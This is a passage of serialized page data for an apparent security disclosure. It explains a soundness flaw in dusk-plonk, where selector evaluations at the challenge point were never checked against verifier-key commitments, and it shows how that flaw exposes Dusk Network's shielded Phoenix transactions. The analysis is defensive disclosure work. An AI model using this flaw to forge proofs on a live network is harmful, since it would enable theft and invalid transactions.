87,"children":142389},{"className":142388},[2586],[142390],{"type":26,"value":337},{"type":20,"tag":315,"props":142392,"children":142394},{"className":142393,"style":2581},[2483],[],{"type":20,"tag":315,"props":142396,"children":142398},{"className":142397},[2392],[142399,142403,142408,142413,142418,142423,142427,142432],{"type":20,"tag":315,"props":142400,"children":142402},{"className":142401,"style":2504},[2397],[],{"type":20,"tag":315,"props":142404,"children":142406},{"className":142405,"style":19993},[2403,19992],[142407],{"type":26,"value":4381},{"type":20,"tag":315,"props":142409,"children":142411},{"className":142410},[20121],[142412],{"type":26,"value":1049},{"type":20,"tag":315,"props":142414,"children":142416},{"className":142415,"style":111862},[2403,19992],[142417],{"type":26,"value":111865},{"type":20,"tag":315,"props":142419,"children":142421},{"className":142420},[20143],[142422],{"type":26,"value":1509},{"type":20,"tag":315,"props":142424,"children":142426},{"className":142425,"style":2484},[2483],[],{"type":20,"tag":315,"props":142428,"children":142430},{"className":142429},[2489],[142431],{"type":26,"value":109567},{"type":20,"tag":315,"props":142433,"children":142435},{"className":142434,"style":2484},[2483],[],{"type":20,"tag":315,"props":142437,"children":142439},{"className":142438},[2392],[142440,142444,142449,142454,142459],{"type":20,"tag":315,"props":142441,"children":142443},{"className":142442,"style":2504},[2397],[],{"type":20,"tag":315,"props":142445,"children":142447},{"className":142446,"style":20524},[2403,19992],[142448],{"type":26,"value":141869},{"type":20,"tag":315,"props":142450,"children":142452},{"className":142451},[20121],[142453],{"type":26,"value":1049},{"type":20,"tag":315,"props":142455,"children":142457},{"className":142456,"style":111862},[2403,19992],[142458],{"type":26,"value":111865},{"type":20,"tag":315,"props":142460,"children":142462},{"className":142461},[20143],[142463],{"type":26,"value":1509},{"type":26,"value":142465}," at that single point. By the Schwartz-Zippel lemma, if this holds at a random ",{"type":20,"tag":119,"props":142467,"children":142469},{"className":142468},[2375,2376],[142470],{"type":20,"tag":315,"props":142471,"children":142473},{"className":142472},[2381],[142474],{"type":20,"tag":315,"props":142475,"children":142477},{"className":142476,"ariaHidden":2387},[2386],[142478],{"type":20,"tag":315,"props":142479,"children":142481},{"className":142480},[2392],[142482,142486],{"type":20,"tag":315,"props":142483,"children":142485},{"className":142484,"style":109146},[2397],[],{"type":20,"tag":315,"props":142487,"children":142489},{"className":142488,"style":111862},[2403,19992],[142490],{"type":26,"value":111865},{"type":26,"value":142492}," then the full polynomial identity holds with overwhelming probability, so the verifier checks the entire multi-million-row circuit in constant time.",{"type":20,"tag":29,"props":142494,"children":142495},{},[142496,142498,142523,142525,142530],{"type":26,"value":142497},"In textbook PLONK the selector polynomials are part of the fixed circuit description, but in practice implementations commit to them during preprocessing and place those commitments in the verifier key. When the verifier later needs their values at ",{"type":20,"tag":119,"props":142499,"children":142501},{"className":142500},[2375,2376],[142502],{"type":20,"tag":315,"props":142503,"children":142505},{"className":142504},[2381],[142506],{"type":20,"tag":315,"props":142507,"children":142509},{"className":142508,"ariaHidden":2387},[2386],[142510],{"type":20,"tag":315,"props":142511,"children":142513},{"className":142512},[2392],[142514,142518],{"type":20,"tag":315,"props":142515,"children":142517},{"className":142516,"style":109146},[2397],[],{"type":20,"tag":315,"props":142519,"children":142521},{"className":142520,"style":111862},[2403,19992],[142522],{"type":26,"value":111865},{"type":26,"value":142524},", the prover supplies ",{"type":20,"tag":55,"props":142526,"children":142527},{},[142528],{"type":26,"value":142529},"evaluation claims",{"type":26,"value":142531}," that must be checked against those commitments with opening proofs.",{"type":20,"tag":29,"props":142533,"children":142534},{},[142535,142537,142541],{"type":26,"value":142536},"The security argument depends on a chain: commitments lock the prover into polynomials ",{"type":20,"tag":55,"props":142538,"children":142539},{},[142540],{"type":26,"value":102849},{"type":26,"value":142542}," challenges are derived, and opening proofs ensure the evaluations are consistent with those commitments. Breaking any single link in this chain collapses soundness entirely.",{"type":20,"tag":219,"props":142544,"children":142546},{"id":142545},"what-the-verifier-is-actually-allowed-to-trust",[142547],{"type":26,"value":142548},"What the verifier is actually allowed to trust",{"type":20,"tag":29,"props":142550,"children":142551},{},[142552,142554,142559],{"type":26,"value":142553},"For this bug, one invariant matters more than the rest: ",{"type":20,"tag":3717,"props":142555,"children":142556},{},[142557],{"type":26,"value":142558},"every scalar that enters the final verifier equation must be either locally computed by the verifier, or cryptographically tied to an earlier commitment",{"type":26,"value":61},{"type":20,"tag":29,"props":142561,"children":142562},{},[142563,142565,142657,142658,142750,142752,142777,142779,142819,142820,142860,142861,142954,142955,143001,143003,143090,143091,143178,143179,143266],{"type":26,"value":142564},"In practice, values entering the verifier equation fall into three buckets. The verifier computes some values locally from public data (",{"type":20,"tag":119,"props":142566,"children":142568},{"className":142567},[2375,2376],[142569],{"type":20,"tag":315,"props":142570,"children":142572},{"className":142571},[2381],[142573],{"type":20,"tag":315,"props":142574,"children":142576},{"className":142575,"ariaHidden":2387},[2386],[142577],{"type":20,"tag":315,"props":142578,"children":142580},{"className":142579},[2392],[142581,142585,142642,142647,142652],{"type":20,"tag":315,"props":142582,"children":142584},{"className":142583,"style":2504},[2397],[],{"type":20,"tag":315,"props":142586,"children":142588},{"className":142587},[2403],[142589,142594],{"type":20,"tag":315,"props":142590,"children":142592},{"className":142591,"style":20524},[2403,19992],[142593],{"type":26,"value":141869},{"type":20,"tag":315,"props":142595,"children":142597},{"className":142596},[2419],[142598],{"type":20,"tag":315,"props":142599,"children":142601},{"className":142600},[2424,20046],[142602,142631],{"type":20,"tag":315,"props":142603,"children":142605},{"className":142604},[2429],[142606,142626],{"type":20,"tag":315,"props":142607,"children":142609},{"className":142608,"style":140860},[2434],[142610],{"type":20,"tag":315,"props":142611,"children":142612},{"style":114554},[142613,142617],{"type":20,"tag":315,"props":142614,"children":142616},{"className":142615,"style":2444},[2443],[],{"type":20,"tag":315,"props":142618,"children":142620},{"className":142619},[2449,2450,2451,2452],[142621],{"type":20,"tag":315,"props":142622,"children":142624},{"className":142623,"style":91539},[2403,19992,2452],[142625],{"type":26,"value":91542},{"type":20,"tag":315,"props":142627,"children":142629},{"className":142628},[20149],[142630],{"type":26,"value":20152},{"type":20,"tag":315,"props":142632,"children":142634},{"className":142633},[2429],[142635],{"type":20,"tag":315,"props":142636,"children":142638},{"className":142637,"style":91388},[2434],[142639],{"type":20,"tag":315,"props":142640,"children":142641},{},[],{"type":20,"tag":315,"props":142643,"children":142645},{"className":142644},[20121],[142646],{"type":26,"value":1049},{"type":20,"tag":315,"props":142648,"children":142650},{"className":142649,"style":111862},[2403,19992],[142651],{"type":26,"value":111865},{"type":20,"tag":315,"props":142653,"children":142655},{"className":142654},[20143],[142656],{"type":26,"value":1509},{"type":26,"value":44},{"type":20,"tag":119,"props":142659,"children":142661},{"className":142660},[2375,2376],[142662],{"type":20,"tag":315,"props":142663,"children":142665},{"className":142664},[2381],[142666],{"type":20,"tag":315,"props":142667,"children":142669},{"className":142668,"ariaHidden":2387},[2386],[142670],{"type":20,"tag":315,"props":142671,"children":142673},{"className":142672},[2392],[142674,142678,142735,142740,142745],{"type":20,"tag":315,"props":142675,"children":142677},{"className":142676,"style":2504},[2397],[],{"type":20,"tag":315,"props":142679,"children":142681},{"className":142680},[2403],[142682,142687],{"type":20,"tag":315,"props":142683,"children":142685},{"className":142684},[2403,19992],[142686],{"type":26,"value":116269},{"type":20,"tag":315,"props":142688,"children":142690},{"className":142689},[2419],[142691],{"type":20,"tag":315,"props":142692,"children":142694},{"className":142693},[2424,20046],[142695,142724],{"type":20,"tag":315,"props":142696,"children":142698},{"className":142697},[2429],[142699,142719],{"type":20,"tag":315,"props":142700,"children":142702},{"className":142701,"style":91357},[2434],[142703],{"type":20,"tag":315,"props":142704,"children":142705},{"style":91361},[142706,142710],{"type":20,"tag":315,"props":142707,"children":142709},{"className":142708,"style":2444},[2443],[],{"type":20,"tag":315,"props":142711,"children":142713},{"className":142712},[2449,2450,2451,2452],[142714],{"type":20,"tag":315,"props":142715,"children":142717},{"className":142716},[2403,2452],[142718],{"type":26,"value":2406},{"type":20,"tag":315,"props":142720,"children":142722},{"className":142721},[20149],[142723],{"type":26,"value":20152},{"type":20,"tag":315,"props":142725,"children":142727},{"className":142726},[2429],[142728],{"type":20,"tag":315,"props":142729,"children":142731},{"className":142730,"style":91388},[2434],[142732],{"type":20,"tag":315,"props":142733,"children":142734},{},[],{"type":20,"tag":315,"props":142736,"children":142738},{"className":142737},[20121],[142739],{"type":26,"value":1049},{"type":20,"tag":315,"props":142741,"children":142743},{"className":142742,"style":111862},[2403,19992],[142744],{"type":26,"value":111865},{"type":20,"tag":315,"props":142746,"children":142748},{"className":142747},[20143],[142749],{"type":26,"value":1509},{"type":26,"value":142751},", the public-input polynomial at ",{"type":20,"tag":119,"props":142753,"children":142755},{"className":142754},[2375,2376],[142756],{"type":20,"tag":315,"props":142757,"children":142759},{"className":142758},[2381],[142760],{"type":20,"tag":315,"props":142761,"children":142763},{"className":142762,"ariaHidden":2387},[2386],[142764],{"type":20,"tag":315,"props":142765,"children":142767},{"className":142766},[2392],[142768,142772],{"type":20,"tag":315,"props":142769,"children":142771},{"className":142770,"style":109146},[2397],[],{"type":20,"tag":315,"props":142773,"children":142775},{"className":142774,"style":111862},[2403,19992],[142776],{"type":26,"value":111865},{"type":26,"value":142778},"), which are safe because the prover never chooses them. Other values are prover-supplied evaluations accompanied by KZG opening proofs (",{"type":20,"tag":119,"props":142780,"children":142782},{"className":142781},[2375,2376],[142783],{"type":20,"tag":315,"props":142784,"children":142786},{"className":142785},[2381],[142787],{"type":20,"tag":315,"props":142788,"children":142790},{"className":142789,"ariaHidden":2387},[2386],[142791],{"type":20,"tag":315,"props":142792,"children":142794},{"className":142793},[2392],[142795,142799,142804,142809,142814],{"type":20,"tag":315,"props":142796,"children":142798},{"className":142797,"style":2504},[2397],[],{"type":20,"tag":315,"props":142800,"children":142802},{"className":142801},[2403,19992],[142803],{"type":26,"value":35},{"type":20,"tag":315,"props":142805,"children":142807},{"className":142806},[20121],[142808],{"type":26,"value":1049},{"type":20,"tag":315,"props":142810,"children":142812},{"className":142811,"style":111862},[2403,19992],[142813],{"type":26,"value":111865},{"type":20,"tag":315,"props":142815,"children":142817},{"className":142816},[20143],[142818],{"type":26,"value":1509},{"type":26,"value":44},{"type":20,"tag":119,"props":142821,"children":142823},{"className":142822},[2375,2376],[142824],{"type":20,"tag":315,"props":142825,"children":142827},{"className":142826},[2381],[142828],{"type":20,"tag":315,"props":142829,"children":142831},{"className":142830,"ariaHidden":2387},[2386],[142832],{"type":20,"tag":315,"props":142833,"children":142835},{"className":142834},[2392],[142836,142840,142845,142850,142855],{"type":20,"tag":315,"props":142837,"children":142839},{"className":142838,"style":2504},[2397],[],{"type":20,"tag":315,"props":142841,"children":142843},{"className":142842},[2403,19992],[142844],{"type":26,"value":1604},{"type":20,"tag":315,"props":142846,"children":142848},{"className":142847},[20121],[142849],{"type":26,"value":1049},{"type":20,"tag":315,"props":142851,"children":142853},{"className":142852,"style":111862},[2403,19992],[142854],{"type":26,"value":111865},{"type":20,"tag":315,"props":142856,"children":142858},{"className":142857},[20143],[142859],{"type":26,"value":1509},{"type":26,"value":44},{"type":20,"tag":119,"props":142862,"children":142864},{"className":142863},[2375,2376],[142865],{"type":20,"tag":315,"props":142866,"children":142868},{"className":142867},[2381],[142869],{"type":20,"tag":315,"props":142870,"children":142872},{"className":142871,"ariaHidden":2387},[2386],[142873],{"type":20,"tag":315,"props":142874,"children":142876},{"className":142875},[2392],[142877,142881,142939,142944,142949],{"type":20,"tag":315,"props":142878,"children":142880},{"className":142879,"style":2504},[2397],[],{"type":20,"tag":315,"props":142882,"children":142884},{"className":142883},[2403],[142885,142891],{"type":20,"tag":315,"props":142886,"children":142888},{"className":142887,"style":91791},[2403,19992],[142889],{"type":26,"value":142890},"σ",{"type":20,"tag":315,"props":142892,"children":142894},{"className":142893},[2419],[142895],{"type":20,"tag":315,"props":142896,"children":142898},{"className":142897},[2424,20046],[142899,142928],{"type":20,"tag":315,"props":142900,"children":142902},{"className":142901},[2429],[142903,142923],{"type":20,"tag":315,"props":142904,"children":142906},{"className":142905,"style":91357},[2434],[142907],{"type":20,"tag":315,"props":142908,"children":142909},{"style":91838},[142910,142914],{"type":20,"tag":315,"props":142911,"children":142913},{"className":142912,"style":2444},[2443],[],{"type":20,"tag":315,"props":142915,"children":142917},{"className":142916},[2449,2450,2451,2452],[142918],{"type":20,"tag":315,"props":142919,"children":142921},{"className":142920},[2403,2452],[142922],{"type":26,"value":2406},{"type":20,"tag":315,"props":142924,"children":142926},{"className":142925},[20149],[142927],{"type":26,"value":20152},{"type":20,"tag":315,"props":142929,"children":142931},{"className":142930},[2429],[142932],{"type":20,"tag":315,"props":142933,"children":142935},{"className":142934,"style":91388},[2434],[142936],{"type":20,"tag":315,"props":142937,"children":142938},{},[],{"type":20,"tag":315,"props":142940,"children":142942},{"className":142941},[20121],[142943],{"type":26,"value":1049},{"type":20,"tag":315,"props":142945,"children":142947},{"className":142946,"style":111862},[2403,19992],[142948],{"type":26,"value":111865},{"type":20,"tag":315,"props":142950,"children":142952},{"className":142951},[20143],[142953],{"type":26,"value":1509},{"type":26,"value":44},{"type":20,"tag":119,"props":142956,"children":142958},{"className":142957},[2375,2376],[142959],{"type":20,"tag":315,"props":142960,"children":142962},{"className":142961},[2381],[142963],{"type":20,"tag":315,"props":142964,"children":142966},{"className":142965,"ariaHidden":2387},[2386],[142967],{"type":20,"tag":315,"props":142968,"children":142970},{"className":142969},[2392],[142971,142975,142980,142985,142990,142996],{"type":20,"tag":315,"props":142972,"children":142974},{"className":142973,"style":2504},[2397],[],{"type":20,"tag":315,"props":142976,"children":142978},{"className":142977},[2403,19992],[142979],{"type":26,"value":35},{"type":20,"tag":315,"props":142981,"children":142983},{"className":142982},[20121],[142984],{"type":26,"value":1049},{"type":20,"tag":315,"props":142986,"children":142988},{"className":142987,"style":111862},[2403,19992],[142989],{"type":26,"value":111865},{"type":20,"tag":315,"props":142991,"children":142993},{"className":142992,"style":91791},[2403,19992],[142994],{"type":26,"value":142995},"ω",{"type":20,"tag":315,"props":142997,"children":142999},{"className":142998},[20143],[143000],{"type":26,"value":1509},{"type":26,"value":143002},"), which are safe because the opening binds them to previously committed polynomials. A third category consists of verifier-key commitments used directly in the linearization multiscalar multiplication (",{"type":20,"tag":119,"props":143004,"children":143006},{"className":143005},[2375,2376],[143007],{"type":20,"tag":315,"props":143008,"children":143010},{"className":143009},[2381],[143011],{"type":20,"tag":315,"props":143012,"children":143014},{"className":143013,"ariaHidden":2387},[2386],[143015],{"type":20,"tag":315,"props":143016,"children":143018},{"className":143017},[2392],[143019,143023,143028,143085],{"type":20,"tag":315,"props":143020,"children":143022},{"className":143021,"style":2504},[2397],[],{"type":20,"tag":315,"props":143024,"children":143026},{"className":143025},[20121],[143027],{"type":26,"value":2117},{"type":20,"tag":315,"props":143029,"children":143031},{"className":143030},[2403],[143032,143037],{"type":20,"tag":315,"props":143033,"children":143035},{"className":143034,"style":91791},[2403,19992],[143036],{"type":26,"value":91794},{"type":20,"tag":315,"props":143038,"children":143040},{"className":143039},[2419],[143041],{"type":20,"tag":315,"props":143042,"children":143044},{"className":143043},[2424,20046],[143045,143074],{"type":20,"tag":315,"props":143046,"children":143048},{"className":143047},[2429],[143049,143069],{"type":20,"tag":315,"props":143050,"children":143052},{"className":143051,"style":140860},[2434],[143053],{"type":20,"tag":315,"props":143054,"children":143055},{"style":91838},[143056,143060],{"type":20,"tag":315,"props":143057,"children":143059},{"className":143058,"style":2444},[2443],[],{"type":20,"tag":315,"props":143061,"children":143063},{"className":143062},[2449,2450,2451,2452],[143064],{"type":20,"tag":315,"props":143065,"children":143067},{"className":143066,"style":93313},[2403,19992,2452],[143068],{"type":26,"value":93316},{"type":20,"tag":315,"props":143070,"children":143072},{"className":143071},[20149],[143073],{"type":26,"value":20152},{"type":20,"tag":315,"props":143075,"children":143077},{"className":143076},[2429],[143078],{"type":20,"tag":315,"props":143079,"children":143081},{"className":143080,"style":91388},[2434],[143082],{"type":20,"tag":315,"props":143083,"children":143084},{},[],{"type":20,"tag":315,"props":143086,"children":143088},{"className":143087},[20143],[143089],{"type":26,"value":13812},{"type":26,"value":44},{"type":20,"tag":119,"props":143092,"children":143094},{"className":143093},[2375,2376],[143095],{"type":20,"tag":315,"props":143096,"children":143098},{"className":143097},[2381],[143099],{"type":20,"tag":315,"props":143100,"children":143102},{"className":143101,"ariaHidden":2387},[2386],[143103],{"type":20,"tag":315,"props":143104,"children":143106},{"className":143105},[2392],[143107,143111,143116,143173],{"type":20,"tag":315,"props":143108,"children":143110},{"className":143109,"style":2504},[2397],[],{"type":20,"tag":315,"props":143112,"children":143114},{"className":143113},[20121],[143115],{"type":26,"value":2117},{"type":20,"tag":315,"props":143117,"children":143119},{"className":143118},[2403],[143120,143125],{"type":20,"tag":315,"props":143121,"children":143123},{"className":143122,"style":91791},[2403,19992],[143124],{"type":26,"value":91794},{"type":20,"tag":315,"props":143126,"children":143128},{"className":143127},[2419],[143129],{"type":20,"tag":315,"props":143130,"children":143132},{"className":143131},[2424,20046],[143133,143162],{"type":20,"tag":315,"props":143134,"children":143136},{"className":143135},[2429],[143137,143157],{"type":20,"tag":315,"props":143138,"children":143140},{"className":143139,"style":140860},[2434],[143141],{"type":20,"tag":315,"props":143142,"children":143143},{"style":91838},[143144,143148],{"type":20,"tag":315,"props":143145,"children":143147},{"className":143146,"style":2444},[2443],[],{"type":20,"tag":315,"props":143149,"children":143151},{"className":143150},[2449,2450,2451,2452],[143152],{"type":20,"tag":315,"props":143153,"children":143155},{"className":143154,"style":91305},[2403,19992,2452],[143156],{"type":26,"value":113624},{"type":20,"tag":315,"props":143158,"children":143160},{"className":143159},[20149],[143161],{"type":26,"value":20152},{"type":20,"tag":315,"props":143163,"children":143165},{"className":143164},[2429],[143166],{"type":20,"tag":315,"props":143167,"children":143169},{"className":143168,"style":91388},[2434],[143170],{"type":20,"tag":315,"props":143171,"children":143172},{},[],{"type":20,"tag":315,"props":143174,"children":143176},{"className":143175},[20143],[143177],{"type":26,"value":13812},{"type":26,"value":44},{"type":20,"tag":119,"props":143180,"children":143182},{"className":143181},[2375,2376],[143183],{"type":20,"tag":315,"props":143184,"children":143186},{"className":143185},[2381],[143187],{"type":20,"tag":315,"props":143188,"children":143190},{"className":143189,"ariaHidden":2387},[2386],[143191],{"type":20,"tag":315,"props":143192,"children":143194},{"className":143193},[2392],[143195,143199,143204,143261],{"type":20,"tag":315,"props":143196,"children":143198},{"className":143197,"style":2504},[2397],[],{"type":20,"tag":315,"props":143200,"children":143202},{"className":143201},[20121],[143203],{"type":26,"value":2117},{"type":20,"tag":315,"props":143205,"children":143207},{"className":143206},[2403],[143208,143213],{"type":20,"tag":315,"props":143209,"children":143211},{"className":143210,"style":91791},[2403,19992],[143212],{"type":26,"value":142890},{"type":20,"tag":315,"props":143214,"children":143216},{"className":143215},[2419],[143217],{"type":20,"tag":315,"props":143218,"children":143220},{"className":143219},[2424,20046],[143221,143250],{"type":20,"tag":315,"props":143222,"children":143224},{"className":143223},[2429],[143225,143245],{"type":20,"tag":315,"props":143226,"children":143228},{"className":143227,"style":91357},[2434],[143229],{"type":20,"tag":315,"props":143230,"children":143231},{"style":91838},[143232,143236],{"type":20,"tag":315,"props":143233,"children":143235},{"className":143234,"style":2444},[2443],[],{"type":20,"tag":315,"props":143237,"children":143239},{"className":143238},[2449,2450,2451,2452],[143240],{"type":20,"tag":315,"props":143241,"children":143243},{"className":143242},[2403,2452],[143244],{"type":26,"value":15931},{"type":20,"tag":315,"props":143246,"children":143248},{"className":143247},[20149],[143249],{"type":26,"value":20152},{"type":20,"tag":315,"props":143251,"children":143253},{"className":143252},[2429],[143254],{"type":20,"tag":315,"props":143255,"children":143257},{"className":143256,"style":91388},[2434],[143258],{"type":20,"tag":315,"props":143259,"children":143260},{},[],{"type":20,"tag":315,"props":143262,"children":143264},{"className":143263},[20143],[143265],{"type":26,"value":13812},{"type":26,"value":143267},"), which are safe because the verifier never trusts a bare field element for these; it uses the commitment itself.",{"type":20,"tag":29,"props":143269,"children":143270},{},[143271],{"type":26,"value":143272},"Any term that falls outside those three categories is attacker-controlled by construction.",{"type":20,"tag":17197,"props":143274,"children":143275},{},[],{"type":20,"tag":21,"props":143277,"children":143279},{"id":143278},"where-dusk-plonk-differs-from-textbook-plonk",[143280],{"type":26,"value":143281},"Where dusk-plonk differs from textbook PLONK",{"type":20,"tag":29,"props":143283,"children":143284},{},[143285,143294,143296,143301,143303,143333],{"type":20,"tag":35,"props":143286,"children":143288},{"href":140160,"rel":143287},[39],[143289],{"type":20,"tag":119,"props":143290,"children":143292},{"className":143291},[],[143293],{"type":26,"value":140164},{"type":26,"value":143295}," is not a literal transcription of the 2019 PLONK paper. It extends the arithmetic gate with a fourth wire ",{"type":20,"tag":119,"props":143297,"children":143299},{"className":143298},[],[143300],{"type":26,"value":68820},{"type":26,"value":143302},", adds custom widgets for range, logic, and elliptic-curve operations, uses shifted evaluations at ",{"type":20,"tag":119,"props":143304,"children":143306},{"className":143305},[2375,2376],[143307],{"type":20,"tag":315,"props":143308,"children":143310},{"className":143309},[2381],[143311],{"type":20,"tag":315,"props":143312,"children":143314},{"className":143313,"ariaHidden":2387},[2386],[143315],{"type":20,"tag":315,"props":143316,"children":143318},{"className":143317},[2392],[143319,143323,143328],{"type":20,"tag":315,"props":143320,"children":143322},{"className":143321,"style":109146},[2397],[],{"type":20,"tag":315,"props":143324,"children":143326},{"className":143325,"style":111862},[2403,19992],[143327],{"type":26,"value":111865},{"type":20,"tag":315,"props":143329,"children":143331},{"className":143330,"style":91791},[2403,19992],[143332],{"type":26,"value":142995},{"type":26,"value":143334},", and heavily batches KZG openings. None of that is exotic by modern PLONK standards, but it does make the verifier harder to reason about than the minimal paper presentation.",{"type":20,"tag":29,"props":143336,"children":143337},{},[143338,143340,143345,143346,143351,143353,143359,143361,143368],{"type":26,"value":143339},"The important part for this bug is the boundary between ",{"type":20,"tag":3717,"props":143341,"children":143342},{},[143343],{"type":26,"value":143344},"public circuit data",{"type":26,"value":9392},{"type":20,"tag":3717,"props":143347,"children":143348},{},[143349],{"type":26,"value":143350},"prover claims about that data at the random challenge point",{"type":26,"value":143352},". Parallel implementations avoid this ambiguity by keeping selector polynomials strictly out of the prover's hands. For example, Consensys' gnark (one of the most widely deployed PLONK implementations) never asks the prover for selector evaluations at all. Instead, the verifier incorporates the selector commitments ",{"type":20,"tag":119,"props":143354,"children":143356},{"className":143355},[],[143357],{"type":26,"value":143358},"Ql, Qr, Qm, Qo, Qk",{"type":26,"value":143360}," directly into the ",{"type":20,"tag":35,"props":143362,"children":143365},{"href":143363,"rel":143364},"https://github.com/Consensys/gnark/blob/17b079f1b813d9dafd465202466b09f282b4c5e9/backend/plonk/bls12-381/verify.go#L253-L270",[39],[143366],{"type":26,"value":143367},"linearization multi-scalar multiplication",{"type":26,"value":143369},", ensuring their values are cryptographically bound by construction.",{"type":20,"tag":29,"props":143371,"children":143372},{},[143373,143375,143400],{"type":26,"value":143374},"Dusk's custom widgets were more complex (multiplying selectors with other evaluated terms), so they could not just use a simple linear combination of commitments. Their architecture required evaluating the selectors at ",{"type":20,"tag":119,"props":143376,"children":143378},{"className":143377},[2375,2376],[143379],{"type":20,"tag":315,"props":143380,"children":143382},{"className":143381},[2381],[143383],{"type":20,"tag":315,"props":143384,"children":143386},{"className":143385,"ariaHidden":2387},[2386],[143387],{"type":20,"tag":315,"props":143388,"children":143390},{"className":143389},[2392],[143391,143395],{"type":20,"tag":315,"props":143392,"children":143394},{"className":143393,"style":109146},[2397],[],{"type":20,"tag":315,"props":143396,"children":143398},{"className":143397,"style":111862},[2403,19992],[143399],{"type":26,"value":111865},{"type":26,"value":143401}," and using those scalars. But while they serialized those four selector evaluations into the proof struct, they never actually verified them against the verifier key's commitments through an opening proof.",{"type":20,"tag":29,"props":143403,"children":143404},{},[143405],{"type":26,"value":143406},"The shortest way to see the bug is the graph below: safe values flow through the opening path toward the final pairing check, while the red selector flow enters verifier logic without ever touching an opening proof.",{"type":20,"tag":143408,"props":143409,"children":143410},"dusk-verifier-dependence-graph",{},[],{"type":20,"tag":17197,"props":143412,"children":143413},{},[],{"type":20,"tag":21,"props":143415,"children":143417},{"id":143416},"how-dusk-uses-plonk",[143418],{"type":26,"value":143419},"How Dusk uses PLONK",{"type":20,"tag":29,"props":143421,"children":143422},{},[143423,143429],{"type":20,"tag":35,"props":143424,"children":143426},{"href":140169,"rel":143425},[39],[143427],{"type":26,"value":143428},"Dusk Network",{"type":26,"value":143430}," is a privacy-focused L1 blockchain. Its transaction model has two modes:",{"type":20,"tag":15089,"props":143432,"children":143433},{},[143434,143439],{"type":20,"tag":72,"props":143435,"children":143436},{},[143437],{"type":26,"value":143438},"Phoenix (shielded): amounts and participants are hidden using ZK proofs, and every Phoenix transaction carries a PLONK proof that the transaction is valid.",{"type":20,"tag":72,"props":143440,"children":143441},{},[143442],{"type":26,"value":143443},"Moonlight (transparent): standard account-based transactions verified by BLS signatures, with no PLONK involvement.",{"type":20,"tag":29,"props":143445,"children":143446},{},[143447,143449,143460,143462,143473],{"type":26,"value":143448},"At node level, every ",{"type":20,"tag":35,"props":143450,"children":143453},{"href":143451,"rel":143452},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L152-L185",[39],[143454],{"type":20,"tag":119,"props":143455,"children":143457},{"className":143456},[],[143458],{"type":26,"value":143459},"ProtocolTransaction::Phoenix",{"type":26,"value":143461}," goes through ",{"type":20,"tag":35,"props":143463,"children":143466},{"href":143464,"rel":143465},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/verifier.rs#L71-L82",[39],[143467],{"type":20,"tag":119,"props":143468,"children":143470},{"className":143469},[],[143471],{"type":26,"value":143472},"verify_proof_with_version()",{"type":26,"value":143474}," during preverification. If that PLONK proof verifies, the transaction is admitted to the mempool and can later be mined into a block. Moonlight-path transactions instead go through BLS signature verification.",{"type":20,"tag":29,"props":143476,"children":143477},{},[143478,143480,143491,143493,143504,143505,143516,143517,143528,143529,143540],{"type":26,"value":143479},"That same Phoenix proof path covers more than simple shielded transfers. Phoenix-path staking, reward withdrawals, unstaking, and Phoenix-to-Moonlight conversion all build a Phoenix transaction via ",{"type":20,"tag":35,"props":143481,"children":143484},{"href":143482,"rel":143483},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L54-L95",[39],[143485],{"type":20,"tag":119,"props":143486,"children":143488},{"className":143487},[],[143489],{"type":26,"value":143490},"phoenix()",{"type":26,"value":143492},", for example in ",{"type":20,"tag":35,"props":143494,"children":143497},{"href":143495,"rel":143496},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L144-L186",[39],[143498],{"type":20,"tag":119,"props":143499,"children":143501},{"className":143500},[],[143502],{"type":26,"value":143503},"phoenix_stake()",{"type":26,"value":44},{"type":20,"tag":35,"props":143506,"children":143509},{"href":143507,"rel":143508},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L240-L298",[39],[143510],{"type":20,"tag":119,"props":143511,"children":143513},{"className":143512},[],[143514],{"type":26,"value":143515},"phoenix_stake_reward()",{"type":26,"value":44},{"type":20,"tag":35,"props":143518,"children":143521},{"href":143519,"rel":143520},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L358-L416",[39],[143522],{"type":20,"tag":119,"props":143523,"children":143525},{"className":143524},[],[143526],{"type":26,"value":143527},"phoenix_unstake()",{"type":26,"value":4882},{"type":20,"tag":35,"props":143530,"children":143533},{"href":143531,"rel":143532},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L481-L539",[39],[143534],{"type":20,"tag":119,"props":143535,"children":143537},{"className":143536},[],[143538],{"type":26,"value":143539},"phoenix_to_moonlight()",{"type":26,"value":143541},". So if Phoenix proof verification is unsound, the entire shielded transaction path is exposed.",{"type":20,"tag":29,"props":143543,"children":143544},{},[143545],{"type":20,"tag":2308,"props":143546,"children":143549},{"alt":143547,"src":143548},"phoenix_moonlight","/posts/dusk-commitment-issues/phoenix_moonlight.svg",[],{"type":20,"tag":29,"props":143551,"children":143552},{},[143553,143555,143561,143563,143570],{"type":26,"value":143554},"The PLONK implementation, ",{"type":20,"tag":35,"props":143556,"children":143559},{"href":143557,"rel":143558},"https://github.com/dusk-network/plonk",[39],[143560],{"type":26,"value":140164},{"type":26,"value":143562},", is a standalone library by the Dusk team. It was among the first PLONK implementations written, with development starting the same year ",{"type":20,"tag":35,"props":143564,"children":143567},{"href":143565,"rel":143566},"https://eprint.iacr.org/archive/2019/953/1566424053.pdf",[39],[143568],{"type":26,"value":143569},"the original paper",{"type":26,"value":143571}," was released.",{"type":20,"tag":29,"props":143573,"children":143574},{},[143575,143577,143583],{"type":26,"value":143576},"The Phoenix transaction PLONK circuit is defined ",{"type":20,"tag":35,"props":143578,"children":143581},{"href":143579,"rel":143580},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L20-L205",[39],[143582],{"type":26,"value":45835},{"type":26,"value":143584},". The circuit enforces the following set of 